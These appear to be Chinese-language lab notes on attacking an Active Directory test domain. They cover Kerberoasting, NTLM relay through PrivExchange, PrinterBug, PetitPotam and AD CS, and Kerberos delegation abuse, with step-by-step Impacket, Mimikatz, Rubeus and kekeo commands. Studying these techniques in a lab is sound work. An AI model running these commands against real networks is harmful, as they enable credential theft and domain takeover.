 5
 6
 7
 8
 9
10
11


powershell.exe
# 先导入AD模块
Import-Module ActiveDirectory
然后创建服务账户
New-ADUser -Name "SQLService" -SamAccountName "SQLService" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true
# 在域控制器上执行
# 为SQLService注册一个SPN
setspn -A MSSQLSvc/dc.test.local:1433 SQLService

# 验证是否注册成功
setspn -L SQLService

作为非域成员的利用方式:

1
2
3
4
5


# 使用已获取的凭据
GetUserSPNs.py domain.com/compromised_user:password -dc-ip <DC_IP> -request

# 如果获得了hash,也可以通过hash进行认证
GetUserSPNs.py -hashes LM:NT domain.com/user -dc-ip <DC_IP> -request

这里是验证成功才会返回这个

错误会返回这个

具体利用步骤:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


# 步骤1: 枚举SPN
GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP>

# 步骤2: 请求票据(-request参数)
GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP> -request

# 步骤3: 保存票据到文件
GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP> -request -output tickets.txt

# 步骤4: 使用hashcat破解票据
hashcat -m 13100 tickets.txt wordlist.txt

不同场景的利用策略:

已有域用户凭据:直接使用GetUserSPNs.py
只有NTLM hash:使用-hashes参数
有票据:可以使用-k参数进行基于票据的认证

注意事项:

扫描活动可能被检测
大量ticket请求可能触发告警
建议针对性扫描,避免大范围探测

实际案例:

1
2
3
4
5
6
7
8


# 例如发现SQL服务的SPN
GetUserSPNs.py domain.com/user:pass -dc-ip 192.168.1.100
# 输出可能显示:
# MSSQLSvc/DBSERVER.domain.com:1433

# 获取该服务的票据
GetUserSPNs.py domain.com/user:pass -dc-ip 192.168.1.100 -request -target-service MSSQLSvc/DBSERVER.domai
/usr/share/doc/python3-impacket/examples/GetUserSPNs.py intelligence.htb/Ted.Graves:Mr.Teddy -dc-ip 10.10.10.248 -request -request-user SVC_INT$

二、域服务账号破解

https://github.com/nidem/kerberoast

跟上面介绍的方法差不多区别在于场景第一种方法需要获得域成员的账号和密码才能用第二种方法需要获取域成员主机的权限就能在这台主机上使用

1

setspn -T PENTEST.com -Q */*

图方便我就在域控上直接运行了如果域成员账户也有这个sqlserver的访问权限那么也会出来的

1
2


从Mimikatz的RAM中提取获得的门票
kerberos::list /export

1

tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

不让用了？下面这个也可以用转hashcat就行

1
2


python /usr/share/john/kirbi2john.py ticket.kirbi > hash.txt
hashcat -m 13100 hash.txt word.txt

三、NTLM relay

(1) Privexchange

https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

https://github.com/dirkjanm/privexchange/

https://github.com/ridter/exchange2domain

Exchange服务器 —-认证请求—-> 我们的中继服务器 —-修改后转发—-> 域控制器 (高权限) (修改认证内容) (LDAP服务)

实际上我们设置了HTLM中继认证 Exchange服务器的认证请求经过我们设置的中继认证然后我们改点东西让他修改我们的权限让我们有DCSync权限

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


必需条件:
● Exchange服务器存在且可访问
● 一个域用户账号(必须有邮箱)
 ○ 需要用户名和密码
 ○ 或者已经获得了某个域用户的权限
可选条件:
● 如果在域内机器上操作，可以利用当前登录用户的凭据
● 如果能获得中间人攻击位置，可以不需要域账号凭据

# 需要的工具
- ntlmrelayx.py (impacket工具包)
- privexchange.py (PrivExchange工具)

# 需要的信息
- Exchange服务器IP/主机名
- 域控制器IP
- 域名
- 有邮箱的域用户凭据

两种场景

1
2
3


直接使用已知的域用户凭据
用户必须有邮箱
从外部或内部都可以发起攻击

1
2
3


需要在域内网络中
需要能进行中间人攻击
利用其他用户的认证请求

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


1. 设置阶段
 用户(带邮箱) -----> Exchange
 "请帮我设置通知，发送到 http://攻击者IP"

2. Exchange工作阶段
 Exchange ----需要认证----> 攻击者IP
 "我是Exchange服务器，我要发送通知了"

3. 中间人操作
 Exchange认证 ----中继----> 域控制器LDAP
 "我们拿着Exchange的认证去域控那边修改权限"

设置NTLM中继:

在impacket里面存有这个包

1
2


ntlmrelayx.py -t ldap://dc-ip --escalate-user 攻击者用户
ntlmrelayx.py -t ldap://192.168.0.111 --escalate-user test1

这步是设置"中间人"
准备接收Exchange的认证并转发到DC

触发Exchange认证:

https://github.com/dirkjanm/privexchange/

1
2


privexchange.py -ah 攻击者IP exchange服务器 -u 域用户 -d 域名
privexchange.py -ah 192.168.0.110 exchange01.test.local -u test1 -d test.local

利用PushSubscription功能
让Exchange服务器向我们的中继服务器发起认证

(2) Printerbug(HTLM认证)

协议设计问题，不是漏洞

https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py

环境搭建：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


环境要求：
- Windows Server开启打印服务
- Spooler服务运行
- 域用户权限(不需要特殊权限) 任意用户都行

检查步骤：
# 查看打印服务是否运行
Get-Service Spooler

# 如果没开启，启动服务
Start-Service Spooler
Set-Service Spooler -StartupType Automatic

一般都是默认开启的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


# 基本用法
python printerbug.py 域名/用户名:密码@目标IP 攻击者IP

# 具体例子
python printerbug.py test.local/TestUser:Password123!@192.168.0.110 192.168.0.103
python ntlmrelayx.py -t ldaps://192.168.0.110 --escalate-user TestUser

test.local -> 域名
TestUser -> 用户名
Password123 -> 密码
192.168.0.111 -> 目标IP(DC)
192.168.0.103 -> 攻击者IP

(3) PetitPotam(HTLM认证)

存在漏洞 CVE-2021-36942

大概范围在 Windows Server 2008到2019

https://github.com/topotam/PetitPotam

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


环境要求：
- Windows Server
- MS-EFSRPC服务可用
- 域用户权限(不需要特殊权限)

检查步骤：
# 检查RPC服务和EFS服务是否运行
Get-Service RpcSs
Get-Service EFS

攻击机需要：
- impacket工具包
- ntlmrelayx.py
- 能访问目标的网络环境

目标机器：
- LDAP服务开启(DC默认开启)
- 证书服务(如果要中继到AD CS)

1
2
3
4
5
6
7
8


命令：
# 启动中继
python ntlmrelayx.py -t ldap://DC-IP --escalate-user 用户名 --no-smb-server
python ntlmrelayx.py -t ldap://192.168.0.110 --escalate-user TestUser --no-smb-server

# 触发认证
python PetitPotam.py -d domain -u user -p pass 攻击机IP DC-IP
python PetitPotam.py -d test.local -u TestUser -p Password123! 192.168.0.104 192.168.0.110

(4) Relay LDAP(HTLM中继)

https://www.freebuf.com/articles/network/368583.html

Relay LDAP(NTLM中继)主要利用CVE-2019-1040漏洞绕过LDAP签名

第二个和第三个用于发起认证这个利用漏洞来创建中继

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


- 绕过LDAP签名
- 允许中继到LDAP/LDAPS
- 即使启用了签名保护也可以

漏洞影响版本
Windwos 7 SP 1 至 Windows 10 1903；
Windows Server 2008 至 Windows Server 2019

# 启动中继器
python ntlmrelayx.py -t ldap://DC-IP --escalate-user 目标用户 --remove-mic

# 或者完整参数 带漏洞的
python ntlmrelayx.py -t ldap://DC-IP --escalate-user 目标用户 --remove-mic --no-smb-server --no-http-server

--remove-mic：利用CVE-2019-1040绕过签名
--escalate-user：指定要提权的用户
-t ldap://DC-IP：指定目标DC

(5) Relay AD CS/PKI(HTLM中继)

https://3nd.xyz/post/0-da-petitpotam-ad-cs-relay-attack/

需要目标配置Active Directory证书服务

访问地址:

环境搭建失败记录一下方法吧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


# 基本语法
python ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp --adcs

# 更多参数
python ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp --adcs --template VulnTemplate

python ntlmrelayx.py -t http://172.16.79.8/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

-t http://CA-SERVER：证书服务器Web地址
--adcs：指定这是ADCS攻击
--template：指定证书模板(可选)

1
2
3


# https://github.com/topotam/PetitPotam

PetitPotam.exe 172.16.79.1 172.16.79.2

Darwin 上运行的 Ntlmrelay 将生成 CSR（Certificate Signing Request, 证书签名请求）并尝试滥用存在漏洞的 PKI 模板来生成证书：

如果成功ntlmrelayx 将会接收到：

[+] Base64 certificate of user 2012DC$: MI… (一大串Base64编码的证书数据)

接下来是利用获得的东西

1

Rubeus.exe asktgt /outfile:kirbi /user:2012dc$ /ptt /certificate:MIIRXQIBAzCCEScGCSqGSIb3DQEHAaCCERgEghEUMI...

可以拿到TGT 然后利用DCSync 获取 DA NTLM Hash就行了

自动化工具

RelayX 将几个比较好用的relay集成到了一起，提高了测试效率：

1

python relayx.py live.local/002:'LIVE@2021'@172.16.79.2 -r 172.16.79.1 -dc-ip 172.16.79.8 -m pki -t efs --template=DomainController

ADCSPwn实际上是将之前的攻击自动化 https://github.com/bats3c/ADCSPwn/releases/tag/ADCSPwn

ADCSPwn 由 C# 编写，编译后方便通过 execute-assembly 内存加载运行，通过 PetitPotam NTLM Relay 到 AD CS 申请机器账户证书。此外，ADCSPwn 需要被触发进行身份认证的远程机器上开启 WebClient 服务（默认未安装，手动开启，可以参考 How to install/enable the WebClient (WebDAV) Service on Windows Server 2012 to open/edit SharePoint files ）

ADCSPwn 在申请CA证书时采用了轮询的方式遍历所有证书模板尝试申请，普通域成员机器使用证书模版 Machine，DC 使用证书模版 DomainController，ADCSPwn 判断证书模版是否可用时匹配响应包中的“Certificate Request Denied”，而在简体中文换进下应该是“证书申请被拒绝”，可以修改 ADCSPwn/RelayServer.cs 382 行 if (responseFromServer.Contains(“Certificate Request Denied”)) 中的 “Certificate Request Denied” 为 “locDenied”（证书申请被拒绝响应页面中的 HTML 元素 ID ）来适配多语言环境。此问题已在 https://github.com/bats3c/ADCSPwn/pull/5 中更新解决。

1

ADCSPwn.exe --adcs s2008.live.local --remote 2012dc.live.local --port 9001

获取2012dc$ 机器账号证书后通过 Rubeus 进行后续攻击即可

内网445端口

PortBender

https://github.com/praetorian-inc/PortBender/releases/tag/v1.0.0

例如，我们可能希望在重定向器模式下执行 PortBender，以便从受感染的 Windows 系统执行 SMB 中继攻击。为了实现这一点，我们可以指示 PortBender 将所有到 445/TCP 的流量重定向到运行攻击者 SMB 服务的备用端口 8445/TCP。在此示例中，我们运行命令“PortBender redirect 445 8445”来实现此目的

1
2
3
4


#cs直接运行就行
PortBender redirect 445 8445

因为他那只有cna插件 没有exe 当然自己打包或许也可以

(6)扩展

防病毒发起认证

1
2


cd "\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0"
.\MpCmdRun.exe -Scan -ScanType 3 -File \\ip\file.exe

四、Kerberos委派攻击

参考：https://xz.aliyun.com/t/7217

前置知识

域委派是指将域内用户的权限委派给服务账号，使得服务账号能以用户的权限在域内展开活动

委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两个方式，还有一种是基于资源的约束委派（Resource Based Constrained Delegation）不过不是本文的重点，下面我们来分别介绍一下非约束委派和约束委派这两种方法的利用

发现域中委派的用户和计算机

原理说明

当服务账号或者主机被设置为非约束性委派时，其userAccountControl属性会包含TRUSTED_FOR_DELEGATION
当服务账号或者主机被设置为约束性委派时，其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION，且msDS-AllowedToDelegateTo属性会包含被约束的服务

发现域中委派的用户或计算机一般使用的手段是通过LDAP协议（全称：LightweightDirectory Access Protocol）然后通过userAccountControl属性筛选出符合的用户或计算机，我们可以通过ADSI（全称：ActiveDirectory Service Interfaces Editor）来编辑和修改LDAP，adsiedit.msc可以打开ADSI编辑器，打开之后我们找到一个设置了非约束委派的用户，可以看到userAccountControl属性包含了TRUSTED_FOR_DELEGATION

搭建环境(忽略)

这里可以忽略这里主要是配置两种账号非约束委派账号需要一个域内主机在域内主机上配置

如果有域内一台主机配置完非约束委派账号之后按照下面的步骤配置IIS 用于测试我这里没有测试直接用机器账户也可以

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


第一步：确认主机名
- 在目标机器上运行 hostname 确认主机名
- 确保主机名与SPN中设置的相同

第二步：安装IIS
- 在目标机器上安装IIS服务
Install-WindowsFeature -Name Web-Server -IncludeManagementTools

第三步：配置服务账号
- 打开IIS管理器 (inetmgr)
- 找到DefaultAppPool或新建应用程序池
- 配置身份为域账号(test\svc_iis)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82


第一个iis服务账号
# CN是Common Name的缩写,指在Active Directory中的位置
# 比如 CN=Users,DC=domain,DC=com 表示在域的Users容器下

New-ADUser -Name "svc_iis" `
 -SamAccountName "svc_iis" `
 -UserPrincipalName "svc_iis@test.local" `
 -Path "CN=Users,DC=test,DC=local" `
 -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
 -Enabled $true `
 -PasswordNeverExpires $true `
 -ServicePrincipalNames "HTTP/webserver.test.local","HTTP/webserver" `
 -Description "IIS Service Account"

# 给账号添加必要的组成员身份
Add-ADGroupMember -Identity "Server Operators" -Members "svc_iis"

# 设置SPN
setspn -A HTTP/webserver.domain.com svc_iis
setspn -A HTTP/webserver svc_iis

# 验证用户创建
Get-ADUser svc_iis -Properties *

# 验证SPN设置
setspn -L svc_iis

========================================================================================

第二个SharePoint服务账号
New-ADUser `
 -Name "svc_sharepoint" `
 -SamAccountName "svc_sharepoint" `
 -UserPrincipalName "svc_sharepoint@test.local" `
 -Path "CN=Users,DC=test,DC=local" `
 -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
 -Enabled $true `
 -PasswordNeverExpires $true `
 -ServicePrincipalNames "HTTP/sharepoint.test.local" `
 -Description "SharePoint Service Account"

# 给账号添加必要的组成员身份
Add-ADGroupMember -Identity "Server Operators" -Members "svc_sharepoint"

# 设置SPN
setspn -A HTTP/webserver.domain.com svc_sharepoint
setspn -A HTTP/webserver svc_sharepoint

# 验证用户创建
Get-ADUser svc_sharepoint -Properties *

# 验证SPN设置
setspn -L svc_sharepoint

======================================================================================
IIS
# 查看当前服务账号
Get-ADUser svc_iis -Properties *

# 设置非约束委派
Set-ADUser -Identity "svc_iis" -TrustedForDelegation $true

# 验证设置
Get-ADUser svc_iis -Properties userAccountControl
# userAccountControl属性中应该包含TRUSTED_FOR_DELEGATION(524288)
======================================================================================
sharepoint
# 假设我们允许它委派给CIFS服务(作为示例)
Set-ADAccountControl -Identity "svc_sharepoint" -TrustedToAuthForDelegation $true
Set-ADUser -Identity "svc_sharepoint" -Add @{'msDS-AllowedToDelegateTo'=@('CIFS/test.local')}

# 验证设置
Get-ADUser svc_sharepoint -Properties "msDS-AllowedToDelegateTo"

======================================================================================
# 查找所有设置了非约束委派的账号
Get-ADObject -Filter {userAccountControl -band 524288} -Properties userAccountControl | select name,objectClass,userAccountControl
Get-ADObject -Filter {userAccountControl -band 524288} -Properties userAccountControl,samaccountname,serviceprincipalname | select samaccountname,serviceprincipalname
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation | select Name,TrustedForDelegation

# 查找所有设置了约束委派的账号
Get-ADObject -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo

非约束委派的查找

ldapsearch

kali上自带，适合在域外查询

这个参数过多就不一一列举了，需要查阅的ldapsearch -h即可

查找域中配置非约束委派的用户：

1

ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

普通域成员账号就能查到

查找域中配置非约束委派的主机：

1

ldapsearch -x -H ldap://192.168.0.110:389 -D "CN=TestUser,CN=Users,DC=test,DC=local" -w "Password123\!" -b "DC=test,DC=local" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

图方便值可以直接将805306368改成805306369

注：更多LDAP的过滤语法请参考微软的手册：地址

ADFind

使用参数

1

AdFind [switches] [-b basedn] [-f filter] [attr list]

参数说明：

-b：指定要查询的根节点
-f：LDAP过滤条件
attr list：需要显示的属性

https://github.com/mai-lang-chai/AD-Penetration-Testing-Tools

1.查找域中配置非约束委派的用户(在域内的方法)：

1

AdFind.exe -b "DC=test,DC=local" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

图省事我在域控上执行了

2.查找域中配置非约束委派的用户(在域外的方法)：

1

AdFind.exe -h 192.168.0.110 -u test.local\TestUser -up "Password123!" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

我参考的这个博客的博主并没有测试这个在刚刚那个github上是有具体方法的

3.查找域中配置非约束委派的主机：

1
2
3
4


#域内
AdFind.exe -b "DC=test,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#域外
AdFind.exe -h 192.168.0.110 -u test.local\TestUser -up "Password123!" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

PowerView

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

查找域中配置约束委派用户

1
2


Import-Module .\PowerView.ps1
Get-DomainUser –TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

我没有找到账密验证的参数

https://blog.csdn.net/qq_41874930/article/details/109616189

https://www.cnblogs.com/-zhong/p/12374568.html

https://www.freebuf.com/sectool/173366.html

这三个里面有模块介绍

查找域中配置约束委派的主机：

1
2
3


Get-DomainComputer -TrustedToAuth -Domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
Get-DomainComputer -Unconstrained
Get-DomainComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

大概信息如下

1
2
3
4
5
6
7
8


distinguishedname : CN=WINDOWSSERVERAD,OU=Domain Controllers,DC=test,DC=local
# 这是域控制器的路径

useraccountcontrol : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
# 这表明这台机器配置了非约束委派权限

dnshostname : WindowsServerAD.test.local
# 这是机器的DNS名称

非约束委派的利用

概述

非约束委派：当user访问service1时，如果service1的服务账号开启了unconstrained delegation（非约束委派），则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用，然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务（任何服务是指user能访问的服务）了

非约束委派的请求过程（图来自微软手册）：

上图的Kerberos请求描述分为如下步骤：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


1. 用户向`KDC`发送`KRB_AS_REQ`消息请求可转发的`TGT1`。

2. KDC在`KRB_AS_REP`消息中返回`TGT1`。

3. 用户根据步骤2中的TGT1请求转发TGT2。

4. KDC在KRB_TGS_REP消息中为user返回TGT2。

5. 用户使用步骤2中返回的TGT1向KDC请求Service1的ST（Service Ticket）

6. TGS在KRB_TGS_REP消息中返回给用户service1的ST。

7. 用户发送KRB_AP_REQ消息请求Service1，KRB_AP_REQ消息中包含了TGT1和Service1的ST、TGT2、TGT2的SessionKey

8. service1使用用户发送过来的的TGT2，并以KRB_TGS_REQ的形式将其发送到KDC，以用户的名义请求service2的ST。

9. KDC在KRB_TGS_REP消息中返回service2到service1的ST，以及service1可以使用的sessionkey。ST将客户端标识为用户，而不是service1。

10. service1通过KRB_AP_REQ以用户的名义向service2发出请求。

11. service2响应service1的请求。

12. 有了这个响应，service1就可以在步骤7中响应用户的请求。

13. 这里的TGT转发委派机制没有限制service1使用的TGT2是来自哪个服务，所以service1可以以用户的名义向KDC索要任何其他服务的票证。

14. KDC返回步骤13中请求的ST

15-16. service1以用户的名义来请求其它服务

注：TGT1（forwardable TGT）用于访问Service1，TGT2（forwarded TGT）用于访问Service2

操作环境：

域：test.local
域控：windows server 2022，主机名：WindowsServerAD，IP：192.168.0.110，用户：administrator
域内主机：windows 10，主机名：win10，IP：192.168.0.104，用户：jerry

上面提到了一般非约束委派为服务账号或者主机账号服务账户需要搭建环境然后创建账号有点麻烦这里直接用主机账号比较方便

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


1. 在域控上配置(需要域管理员权限)：
PowerShell命令：
# 配置WIN10机器账号为非约束委派
Get-ADComputer win10 | Set-ADComputer -TrustedForDelegation $true

2. 验证配置：
# 检查机器的委派设置
Get-ADComputer WIN10 -Properties userAccountControl

# 或使用PowerView查找所有非约束委派的机器
Get-DomainComputer -Unconstrained

# 或使用LDAP查询
Get-DomainObject -LDAPFilter "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))"

配置好了开始准备让域控管理员触发

PS：我现在已经升级为了这台win10的管理员也就是本地我可以搭建很多东西比如IIS、MYSQL等等然后目前使用的账号也为非约束委派权限此时随意想搭建什么服务都可以 IIS、MYSQL 然后再等域控管理员访问也可以

win10配置WINRM服务

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


# 在WIN10上执行以下命令：

# 1. 快速配置WinRM（以管理员权限运行）
winrm quickconfig -q

# 2. 允许HTTP传输
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

# 3. 配置允许的验证方式
winrm set winrm/config/service/auth @{Basic="true"}
winrm set winrm/config/service/auth @{Kerberos="true"}

# 4. 配置防火墙规则（如果还没开启）
Enable-PSRemoting -Force

# 5. 确认WinRM服务已启动
Get-Service WinRM

# 6. 检查WinRM监听器
winrm enumerate listener

1
2
3
4
5
6
7


# 在域控上执行
# 方法1：Enter-PSSession
Enter-PSSession -ComputerName WIN10

# 方法2：WinRM
winrm quickconfig # 确保WinRM服务开启
Test-WSMan -ComputerName WIN10 # 测试连接

这个时候域管理员的TGT已经缓存在win10了，我们用mimikatz即可dump出来

1
2


privilege::debug
sekurlsa::tickets /export

然后通过ptt将TGT注入到当前会话中

1
2


kerberos::ptt [0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi
dir \\WindowsServerAD.test.local\c$

分割线隔开的方法我这里运行不了一直出问题还不知道出在哪报错系统无法联系域控制器来为身份验证请求提供服务。请稍后再试。所以mimikatz我应该是无法使用了

Rubeus

这个我使用没问题

项目地址：https://github.com/GhostPack/Rubeus/releases/tag/1.6.4

需要自行编译电脑上要安装vs 点击sln文件进去之后生成解决方案就行了

我这里编译好了下面的命令是比较流畅的步骤

1
2
3
4


# 将获得的票据导出到ticket.txt
Rubeus.exe monitor /interval:1 /targetuser:administrator /nowrap >> ticket.txt
# 如果能获取到 txt文本里面则会有base64编码的内容 直接导入票据
Rubeus.exe ptt /ticket:[base64编码]

下面解释一下为什么不用其他命令可以参考不用测试

1
2
3
4


# 说是直接导入票据 但是并没有用
Rubeus.exe monitor /interval:1 /targetuser:administrator /ptt
Rubeus.exe monitor /interval:1 /targetuser:administrator
# 使用过程中 上面的两个命令没啥区别 /ptt貌似不起作用

实际上已经拿到base64编码的票据了但是复制很上头要删空格和回车太麻烦了所以选择导入文件

非常好复制这就是为什么上面成功的命令要导入文件然后再复制

1
2
3
4
5
6


# 下一步就是将base64写入admin.kirbi
# 使用mimikatz导入
mimikatz.exe
kerberos::purge # 清除现有票据
kerberos::ptt admin.kirbi # 导入新票据
# 很可惜这里我允许导入的操作直接报错 无法导入

所以刚刚开始给的成功的流程应该是最优解了也可能是我的windows server 2022版本可能过高也可能是mimikatz版本太低无论咋样至少有成功的方法就行

1

Enter-PSSession -ComputerName WindowsServerAD

还是用WinRM服务反连了域控

非约束委派+Spooler打印机服务

这个我看完了有点像HTLM relay但不完全是至少都利用了spooler打印机发起认证

如果只是单纯的非约束委派话需要管理员主动连接，所以在实战环境利用比较鸡肋。

利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接，这个利用场景是tifkin_，enigma0x3和harmj0y在DerbyCon 2018提出的

演讲PPT：地址

利用原理：利用Windows打印系统远程协议（MS-RPRN）中的一种旧的但是默认启用的方法，在该方法中，域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification（Ex）方法强制任何运行了Spooler服务的计算机以通过Kerberos或NTLM对攻击者选择的目标进行身份验证。

请求过程如下：

图来源于：http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/

注：Print Spooler服务默认是自动运行的

这个实现了前提是：需要获取一台主机账户开启了非约束委派域内机器的权限

我的环境还是之前那个没有变

tifkin_在他的github上开源了POC：https://github.com/leechristensen/SpoolSample

但是我试了几次无法编译貌似是powershell有一点小问题

暂时无法解决但我找到了一个编译好的项目

https://github.com/jtmpu/PrecompiledBinaries

在虚拟机里使用

1
2
3
4
5


# 指定域控和本机就行 无论什么只要dns解析到就行
SpoolSample.exe WindowsServerAD WIN10
SpoolSample.exe WindowsServerAD.test.local WIN10.test.local
# 开始监听票据 上面是监听用户 这里要监听域控
Rubeus.exe monitor /interval:1 /filteruser:WindowsServerAD$

成功拿到了这里我就不重新连域控了因为和上面的一模一样并且mimikatz我也无法使用就这样了

约束委派的利用

概述

由于非约束委派的不安全性，微软在windows server 2003中引入了约束委派，对Kerberos协议进行了拓展，引入了S4U，其中S4U支持两个子协议：Service for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy)，这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST)；S4U2proxy可以以用户的名义请求其它服务的ST，约束委派就是限制了S4U2proxy扩展的范围。

S4U2Self和S4U2proxy的请求过程（图来自微软手册）：

注：其中步骤1-4代表S4U2Self请求的过程，步骤5-10代表S4U2proxy的请求过程

上述请求的文字描述：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


1. 用户向service1发出请求。用户已通过身份验证，但service1没有用户的授权数据。通常，这是由于身份验证是通过Kerberos以外的其他方式验证的。

2. 通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。

3. KDC返回给Service1一个用于用户验证Service1的ST1，该ST1可能包含用户的授权数据。

4. service1可以使用ST中的授权数据来满足用户的请求，然后响应用户。
注：尽管S4U2self向service1提供有关用户的信息，但S4U2self不允许service1代表用户发出其他服务的请求，这时候就轮到S4U2proxy发挥作用了

5. 用户向service1发出请求，service1需要以用户身份访问service2上的资源。

6. service1以用户的名义向KDC请求用户访问service2的ST2

7. 如果请求中包含PAC，则KDC通过检查PAC的签名数据来验证PAC ，如果PAC有效或不存在，则KDC返回ST2给service1，但存储在ST2的cname和crealm字段中的客户端身份是用户的身份，而不是service1的身份。

8. service1使用ST2以用户的名义向service2发送请求，并判定用户已由KDC进行身份验证。

9. service2响应步骤8的请求。

10. service1响应用户对步骤5中的请求。

操作

操作环境：

域：test.local
域控：windows server 2022，主机名：WindowsServerAD，IP：192.168.0.110，用户：administrator
域内主机：windows 10，主机名：win10，IP：192.168.0.104，用户：jerry

创建服务账号:

这个其实在上面已经写了但是利用有点麻烦就忽略了这里重新引用一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


第二个SharePoint服务账号
New-ADUser `
 -Name "svc_sharepoint" `
 -SamAccountName "svc_sharepoint" `
 -UserPrincipalName "svc_sharepoint@test.local" `
 -Path "CN=Users,DC=test,DC=local" `
 -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
 -Enabled $true `
 -PasswordNeverExpires $true `
 -ServicePrincipalNames "HTTP/sharepoint.test.local" `
 -Description "SharePoint Service Account"

# 给账号添加必要的组成员身份
Add-ADGroupMember -Identity "Server Operators" -Members "svc_sharepoint"

# 设置SPN
setspn -A HTTP/webserver.domain.com svc_sharepoint
setspn -A HTTP/webserver svc_sharepoint

# 验证用户创建
Get-ADUser svc_sharepoint -Properties *

# 验证SPN设置
setspn -L svc_sharepoint

# 假设我们允许它委派给CIFS服务(作为示例)
Set-ADAccountControl -Identity "svc_sharepoint" -TrustedToAuthForDelegation $true
Set-ADUser -Identity "svc_sharepoint" -Add @{
 'msDS-AllowedToDelegateTo'=@(
 'CIFS/WindowsServerAD.test.local',
 'CIFS/WindowsServerAD'
 )
}

# 验证设置
Get-ADUser svc_sharepoint -Properties "msDS-AllowedToDelegateTo"

# 查找所有设置了约束委派的账号
Get-ADObject -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo

账号 svc_sharepoint 密码 Password123!

概述那里我们讲了在约束委派的情况下，服务用户只能获取某个用户（或主机）的服务的ST，所以只能模拟用户访问特定的服务，是无法获取用户的TGT，如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash，我们就可以伪造S4U请求，进而伪装成服务用户以任意账户的权限申请访问某服务的ST

已经知道服务用户明文的条件下，我们可以用kekeo请求该用户的TGT

https://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20211214

1
2


tgt::ask /user:svc_sharepoint /domain:test.local /password:Password123!
tgt::ask /user:svc_sharepoint /domain:test.local /rc4:7f939d16a10a8fb0ef49eca637be8a7d

得到服务用户TGT

然后我们可以使用这张TGT通过伪造s4u请求以administrator用户身份请求访问域控的CIFS的ST

拿到了两个TGS

